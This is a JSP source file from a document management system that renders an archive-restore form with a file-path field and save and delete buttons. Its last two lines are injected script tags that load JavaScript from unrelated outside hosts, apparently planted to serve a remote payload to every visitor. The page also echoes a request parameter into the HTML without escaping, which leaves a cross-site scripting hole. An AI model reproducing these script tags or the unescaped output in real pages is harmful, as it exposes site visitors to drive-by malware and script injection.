<%
/*
 * @(#)EditDmsRestore.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsRestore.jsp

  This class is reflecting business logic uses.

    @author           Angus Shiu
    @company          DCIVision Limited
    @creation date    12/11/2003
    @version          $Revision: 1.6.26.4 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsRestoreForm" scope="request" class="com.dcivision.dms.web.MaintDmsRestoreForm"/>

<script language="Javascript">
function ValidateForm(){return true;}
</script>
<html:form action="dms/MaintDmsRestore">
<html:javascript formName="maintDmsRestoreForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  
  String functionType = "dms.label.archive_records";
  String basicSelectedID=request.getParameter("basicSelectedID");
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='archiveID'/>
<html:hidden property='archiveName'/>
<input type="hidden" name="basicSelectedID" value="<%=basicSelectedID%>">
<!-- Page Title Section -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font><layout:returnButton>ListDmsArchive.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%></layout:returnButton></layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <tr>
    <td valign="top">
      <table cellpadding="0" cellspacing="2" border="0" align="left" width="100%">
        <!-- Section Header -->
         <layout:sectionHeader name="dms.label.restore_information" mandatory="true"/>  
        <tr>
          <td class="formLabelSmall" width="150"><bean:message key='dms.label.archive_name_desc'/></td>
          <td class="formFieldSmall"><bean:write name='maintDmsRestoreForm' property='archiveName'/></td>
        </tr>
        <tr>
          <td class="formLabelSmallMan" width="150"><bean:message key='dms.label.archive_file_path'/>:&nbsp;</td>
          <td class="formFieldSmall"><html:text property='archiveFilePath' size='40' maxlength='100'/><br>
        <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
          <font class="bodyVerySmall"><bean:message key='dms.message.choose_restore_root'/></font>
        <% } %></td>
        </tr>
        <tr>
          <td colspan="2"><layout:auditTrail/></td>
        </tr>
        <tr>
          <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
        </tr>
        <tr>
          <td colspan="2" align="center">
          <!-- The Buttons for Actions Handling -->
          <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            <html:standardButton label="common.label.save" onClick="return OpSave()"/>	
          <%} %>
          <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
            <html:permissionButton label="common.label.delete" right="D" onClick="return(OpDelete())"/>
          </logic:equal>          
          </td>
        </tr>
       </table>
       
     </td>
   </tr>
</table>

</td></tr></table>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>